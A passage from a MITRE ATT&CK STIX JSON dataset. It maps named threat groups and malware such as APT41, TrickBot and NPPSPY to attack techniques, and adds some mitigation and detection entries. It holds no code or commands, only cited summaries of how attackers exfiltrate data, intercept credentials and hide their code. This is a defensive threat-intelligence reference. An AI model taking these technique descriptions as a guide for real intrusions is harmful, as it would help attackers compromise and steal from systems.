2023)","relationship_type":"uses","source_ref":"intrusion-set--b516b235-fc7d-4635-aca5-3d33312339c3","target_ref":"attack-pattern--359b00ad-9425-420b-bba5-6de8d600cbc0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c71b5c0b-5ef4-4c6f-9ad1-d2d59e0a7548","created":"2020-11-08T23:24:17.466Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cybereason Kimsuky November 2020","description":"Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020.","url":"https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T01:46:00.691Z","description":"[KGH_SPY](https://attack.mitre.org/software/S0526) has used encrypted strings in its installer.(Citation: Cybereason Kimsuky November 2020)","relationship_type":"uses","source_ref":"malware--8bdfe255-e658-4ddd-a11c-b854762e451d","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c71e972e-cfa8-43f5-b63b-49a3afef2428","created":"2024-09-04T18:19:45.027Z","revoked":false,"external_references":[{"source_name":"Talos Manjusaka 2022","description":"Asheer Malhotra & Vitor Ventura. (2022, August 2). Manjusaka: A Chinese sibling of Sliver and Cobalt Strike. Retrieved September 4, 2024.","url":"https://blog.talosintelligence.com/manjusaka-offensive-framework/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-06T17:10:05.731Z","description":"[Manjusaka](https://attack.mitre.org/software/S1156) has used HTTP for command and control communication.(Citation: Talos Manjusaka 2022)","relationship_type":"uses","source_ref":"malware--dd2ad3d7-d7ef-4af5-a919-bfe8f2571705","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--c720f9ab-106c-47ce-b327-83727be6d35a","created":"2022-04-18T16:22:22.911Z","x_mitre_version":"0.1","external_references":[{"source_name":"Donut Github","url":"https://github.com/TheWover/donut","description":"TheWover. (2019, May 9). donut. Retrieved March 25, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Donut](https://attack.mitre.org/software/S0695) can download and execute previously staged shellcode payloads.(Citation: Donut Github)","modified":"2022-04-18T16:22:22.911Z","relationship_type":"uses","source_ref":"tool--a7b5df47-73bb-4d47-b701-869f185633a6","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c72b2674-e757-4290-9275-cc08a12713be","type":"relationship","created":"2019-03-25T15:05:23.682Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.","url":"https://blog.talosintelligence.com/2018/02/olympic-destroyer.html","source_name":"Talos Olympic Destroyer 2018"}],"modified":"2019-06-30T23:07:54.030Z","description":"[Olympic Destroyer](https://attack.mitre.org/software/S0365) will attempt to enumerate mapped network shares to later attempt to wipe all files on those shares.(Citation: Talos Olympic Destroyer 2018)","relationship_type":"uses","source_ref":"malware--3249e92a-870b-426d-8790-ba311c1abfb4","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c737cde1-271e-4f00-9692-3784e075c24d","type":"relationship","created":"2020-05-08T20:17:55.396Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Cloud Atlas August 2019","url":"https://securelist.com/recent-cloud-atlas-activity/92016/","description":"GReAT. (2019, August 12). Recent Cloud Atlas activity. Retrieved May 8, 2020."}],"modified":"2020-05-08T20:17:55.397Z","description":"[PowerShower](https://attack.mitre.org/software/S0441) has the ability to identify the current user on the infected host.(Citation: Kaspersky Cloud Atlas August 2019)","relationship_type":"uses","source_ref":"malware--53486bc7-7748-4716-8190-e4f1fde04c53","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c73c6a89-90d5-47e0-af58-b5197d4f3594","created":"2023-01-03T19:01:08.241Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant APT41","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.","url":"https://www.mandiant.com/resources/apt41-us-state-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-07T19:56:41.716Z","description":"During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) issued [Ping](https://attack.mitre.org/software/S0097) commands to trigger DNS resolutions for data exfiltration, where the output of a reconnaissance command was prepended to subdomains within [APT41](https://attack.mitre.org/groups/G0096)'s Cloudflare C2 infrastructure.(Citation: Mandiant APT41)","relationship_type":"uses","source_ref":"campaign--ba6dfa37-f401-4140-88b0-8938f2895e61","target_ref":"tool--b77b563c-34bb-4fb8-86a3-3694338f7b47","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c73f0de0-1fbb-44e6-ac51-95bf21ea4018","created":"2021-04-21T15:05:48.910Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA Supernova Jan 2021","description":"CISA. (2021, January 27). Malware Analysis Report (AR21-027A). Retrieved February 22, 2021.","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar21-027a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-10T23:45:47.484Z","description":"[SUPERNOVA](https://attack.mitre.org/software/S0578) contained Base64-encoded strings.(Citation: CISA Supernova Jan 2021)","relationship_type":"uses","source_ref":"malware--b2b0b946-be0a-4a7f-9c32-a2e5211d1cd9","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c73f5693-e40c-48a9-b41c-8207f7180523","type":"relationship","created":"2019-01-29T18:55:20.802Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Fortinet Remcos Feb 2017","url":"https://www.fortinet.com/blog/threat-research/remcos-a-new-rat-in-the-wild-2.html","description":"Bacurio, F., Salvio, J. (2017, February 14). REMCOS: A New RAT In The Wild. Retrieved November 6, 2018."}],"modified":"2019-04-19T14:39:52.981Z","description":"[Remcos](https://attack.mitre.org/software/S0332) can access a system’s webcam and take pictures.(Citation: Fortinet Remcos Feb 2017)","relationship_type":"uses","source_ref":"tool--7cd0bc75-055b-4098-a00e-83dc8beaff14","target_ref":"attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c73f6319-ad09-4fb5-bb2f-18fd73bfdc5d","created":"2023-05-17T19:19:53.000Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Suspected Turla Campaign February 2023","description":"Hawley, S. et al. (2023, February 2). Turla: A Galaxy of Opportunity. Retrieved May 15, 2023.","url":"https://www.mandiant.com/resources/blog/turla-galaxy-opportunity"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-05-17T19:38:40.512Z","description":"[KOPILUWAK](https://attack.mitre.org/software/S1075) can use [netstat](https://attack.mitre.org/software/S0104), [Arp](https://attack.mitre.org/software/S0099), and [Net](https://attack.mitre.org/software/S0039) to discover current TCP connections.(Citation: Mandiant Suspected Turla Campaign February 2023)","relationship_type":"uses","source_ref":"malware--09fcc02f-f9d4-43fa-8609-5e5e186b7103","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c7420523-7dc0-4118-a075-93f9c0268627","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT29","description":"FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved September 17, 2015.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf"}],"modified":"2020-03-30T00:59:07.429Z","description":"The \"tDiscoverer\" variant of [HAMMERTOSS](https://attack.mitre.org/software/S0037) establishes a C2 channel by downloading resources from Web services like Twitter and GitHub. [HAMMERTOSS](https://attack.mitre.org/software/S0037) binaries contain an algorithm that generates a different Twitter handle for the malware to check for instructions every day.(Citation: FireEye APT29)","relationship_type":"uses","source_ref":"malware--2daa14d6-cbf3-4308-bb8e-213c324a08e4","target_ref":"attack-pattern--9c99724c-a483-4d60-ad9d-7f004e42e8e8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c7429670-16be-43bb-b13d-35056c4c968e","type":"relationship","created":"2021-09-09T15:38:06.892Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 ProjectM March 2016","url":"https://unit42.paloaltonetworks.com/unit42-projectm-link-found-between-pakistani-actor-and-operation-transparent-tribe/","description":"Falcone, R. and Conant S. (2016, March 25). ProjectM: Link Found Between Pakistani Actor and Operation Transparent Tribe. Retrieved September 2, 2021."}],"modified":"2021-09-09T15:38:06.892Z","description":"(Citation: Unit 42 ProjectM March 2016)","relationship_type":"uses","source_ref":"intrusion-set--e44e0985-bc65-4a8f-b578-211c858128e3","target_ref":"malware--6c2550d5-a01a-4bbb-a004-6ead348ba623","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c748a743-6d63-4287-a86a-d799e14fcd99","type":"relationship","created":"2020-06-24T17:41:52.664Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T17:41:52.664Z","description":"[Avenger](https://attack.mitre.org/software/S0473) can extract backdoor malware from downloaded images.(Citation: Trend Micro Tick November 2019)","relationship_type":"uses","source_ref":"malware--36ede314-7db4-4d09-b53d-81bbfbe5f6f8","target_ref":"attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c74c6674-047a-401a-8a70-0d96d7cf243a","created":"2023-09-26T18:30:05.940Z","revoked":false,"external_references":[{"source_name":"MoustachedBouncer ESET August 2023","description":"Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.","url":"https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-26T18:30:05.940Z","description":"(Citation: MoustachedBouncer ESET August 2023)","relationship_type":"uses","source_ref":"intrusion-set--7251b44b-6072-476c-b8d9-a6e32c355b28","target_ref":"malware--e1445afd-c359-45ed-8f27-626dc4d5e157","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c74cbdc5-e454-4b22-957e-926854dd37f1","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Forcepoint Felismus Mar 2017","description":"Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.","url":"https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware"}],"modified":"2020-03-17T01:16:15.823Z","description":"[Felismus](https://attack.mitre.org/software/S0171) collects the victim LAN IP address and sends it to the C2 server.(Citation: Forcepoint Felismus Mar 2017)","relationship_type":"uses","source_ref":"malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--c74dfd33-e17a-4fc7-b2bd-154499fc3ac2","created":"2022-07-01T20:26:14.509Z","x_mitre_version":"0.1","external_references":[{"source_name":"TrendMicro EarthLusca 2022","url":"https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf","description":"Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca’s Operations. Retrieved July 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Earth Lusca](https://attack.mitre.org/groups/G1006) used Base64 to encode strings.(Citation: TrendMicro EarthLusca 2022)","modified":"2022-07-01T20:26:14.509Z","relationship_type":"uses","source_ref":"intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c755a235-d278-41ed-835c-48e831b6d1a5","type":"relationship","created":"2021-07-28T00:45:50.820Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft WDAC","url":"https://docs.microsoft.com/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules","description":"Coulter, D. et al.. (2019, April 9). Microsoft recommended block rules. Retrieved August 12, 2021."}],"modified":"2021-10-15T23:57:08.254Z","description":"Use application control configured to block execution of msbuild.exe if it is not required for a given system or network to prevent potential misuse by adversaries. For example, in Windows 10 and Windows Server 2016 and above, Windows Defender Application Control (WDAC) policy rules may be applied to block the msbuild.exe application and to prevent abuse.(Citation: Microsoft WDAC)","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--c92e3d68-2349-49e4-a341-7edca2deff96","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c756d00a-9ca0-435e-b226-bff2c123b390","type":"relationship","created":"2020-05-06T15:48:01.508Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"JPCert TSCookie March 2018","url":"https://blogs.jpcert.or.jp/en/2018/03/malware-tscooki-7aa0.html","description":"Tomonaga, S. (2018, March 6). Malware “TSCookie”. Retrieved May 6, 2020."}],"modified":"2020-05-06T15:48:01.508Z","description":"(Citation: JPCert TSCookie March 2018)","relationship_type":"uses","source_ref":"intrusion-set--6fe8a2a1-a1b0-4af8-953d-4babd329f8f8","target_ref":"malware--76ac7989-c5cc-42e2-93e3-d6c476f01ace","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c758c10c-ea21-42ae-b0dc-979a4da74c51","created":"2024-05-17T20:21:37.045Z","revoked":false,"external_references":[{"source_name":"Huntress NPPSPY 2022","description":"Dray Agha. (2022, August 16). Cleartext Shenanigans: Gifting User Passwords to Adversaries With NPPSPY. Retrieved May 17, 2024.","url":"https://www.huntress.com/blog/cleartext-shenanigans-gifting-user-passwords-to-adversaries-with-nppspy"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-17T20:21:37.045Z","description":"[NPPSPY](https://attack.mitre.org/software/S1131) opens a new network listener for the mpnotify.exe process that is typically contacted by the Winlogon process in Windows. A new, alternative RPC channel is set up with a malicious DLL recording plaintext credentials entered into Winlogon, effectively intercepting and redirecting the logon information.(Citation: Huntress NPPSPY 2022)","relationship_type":"uses","source_ref":"tool--0630d1a7-54da-4a48-a6af-eb8a62b13c17","target_ref":"attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c75b8dfa-5980-4686-9d74-b0c92ce60274","type":"relationship","created":"2021-07-27T13:06:37.122Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybersecurity Advisory GRU Brute Force Campaign July 2021","url":"https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF","description":"NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021."}],"modified":"2021-08-31T17:00:18.540Z","description":"[APT28](https://attack.mitre.org/groups/G0007) has used a Powershell cmdlet to grant the ApplicationImpersonation role to a compromised account.(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--e74de37c-a829-446c-937d-56a44f0e9306","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c75cc595-79d7-4a77-9647-d2323aad93d0","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT10 April 2017","description":"FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html"}],"modified":"2020-03-17T02:35:07.163Z","description":"[SNUGRIDE](https://attack.mitre.org/software/S0159) establishes persistence through a Registry Run key.(Citation: FireEye APT10 April 2017)","relationship_type":"uses","source_ref":"malware--3240cbe4-c550-443b-aa76-cc2a7058b870","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c75e753a-881a-40db-99d2-f7a7b2183606","created":"2024-07-25T17:57:11.487Z","revoked":false,"external_references":[{"source_name":"ESET EvasivePanda 2024","description":"Ahn Ho, Facundo Muñoz, & Marc-Etienne M.Léveillé. (2024, March 7). Evasive Panda leverages Monlam Festival to target Tibetans. Retrieved July 25, 2024.","url":"https://www.welivesecurity.com/en/eset-research/evasive-panda-leverages-monlam-festival-target-tibetans/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-25T17:57:11.487Z","description":"[Daggerfly](https://attack.mitre.org/groups/G1034) compromised web servers hosting updates for software as part of a supply chain intrusion.(Citation: ESET EvasivePanda 2024)","relationship_type":"uses","source_ref":"intrusion-set--f3be6240-f68e-47e1-90d2-ad8f3b3bb8a6","target_ref":"attack-pattern--e196b5c5-8118-4a1c-ab8a-936586ce3db5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c75ec383-2acd-479f-b9b7-b2038ec10a7d","type":"relationship","created":"2019-01-30T14:11:44.111Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Anthony, N., Pascual, C.. (2018, November 1). Trickbot Shows Off New Trick: Password Grabber Module. Retrieved November 16, 2018.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-shows-off-new-trick-password-grabber-module/","source_name":"Trend Micro Trickbot Nov 2018"}],"modified":"2019-06-24T19:15:06.624Z","description":"[TrickBot](https://attack.mitre.org/software/S0266) can modify registry entries.(Citation: Trend Micro Trickbot Nov 2018)","relationship_type":"uses","source_ref":"malware--00806466-754d-44ea-ad6f-0caf59cb8556","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c7602a92-d2d5-488d-b0b7-986ec1ef594d","type":"relationship","created":"2022-02-10T16:46:33.851Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET T3 Threat Report 2021","url":"https://www.welivesecurity.com/wp-content/uploads/2022/02/eset_threat_report_t32021.pdf","description":"ESET. (2022, February). THREAT REPORT T3 2021. Retrieved February 10, 2022."}],"modified":"2022-02-10T16:46:33.851Z","description":"[APT29](https://attack.mitre.org/groups/G0016) has embedded ISO images and VHDX files in HTML to evade Mark-of-the-Web.(Citation: ESET T3 Threat Report 2021)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--7e7c2fba-7cca-486c-9582-4c1bb2851961","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c761f444-3c01-44b4-b8e7-8a26746ce115","type":"relationship","created":"2019-03-11T17:56:45.018Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellEmpire/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"}],"modified":"2021-04-09T14:46:59.544Z","description":"[Empire](https://attack.mitre.org/software/S0363) has modules to interact with the Windows task scheduler.(Citation: Github PowerShell Empire)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c7638d76-0bff-4a9b-9822-63f4e9e6cd4c","type":"relationship","created":"2022-03-30T14:26:51.868Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.868Z","description":"Process monitoring may be used to detect servers components that perform suspicious actions such as running cmd.exe or accessing files.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--d456de47-a16f-4e46-8980-e67478a12dcb","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c7676864-765f-4c08-951e-fb14f35f16c1","type":"relationship","created":"2020-02-21T22:07:25.435Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-18T12:26:32.053Z","description":"Utilize Yama (ex: /proc/sys/kernel/yama/ptrace_scope) to mitigate ptrace based process injection by restricting the use of ptrace to privileged users only. Other mitigation controls involve the deployment of security kernel modules that provide advanced access control and process restrictions such as SELinux, grsecurity, and AppArmor. ","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--ea016b56-ae0e-47fe-967a-cc0ad51af67f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c767aaab-168c-4585-af3e-f4fb95fede69","type":"relationship","created":"2021-03-18T15:15:00.534Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Muddy Water March 2021","url":"https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html","description":"Peretz, A. and Theck, E. (2021, March 5). Earth Vetala – MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021."}],"modified":"2021-03-18T15:15:00.534Z","description":"[RemoteUtilities](https://attack.mitre.org/software/S0592) can enumerate files and directories on a target machine.(Citation: Trend Micro Muddy Water March 2021)","relationship_type":"uses","source_ref":"tool--03c6e0ea-96d3-4b23-9afb-05055663cf4b","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--c767de3c-af29-4e98-8292-067359765d5f","created":"2022-06-09T19:48:31.853Z","x_mitre_version":"0.1","external_references":[{"source_name":"Palo Alto Unit 42 OutSteel SaintBot February 2022 ","url":"https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/","description":"Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in 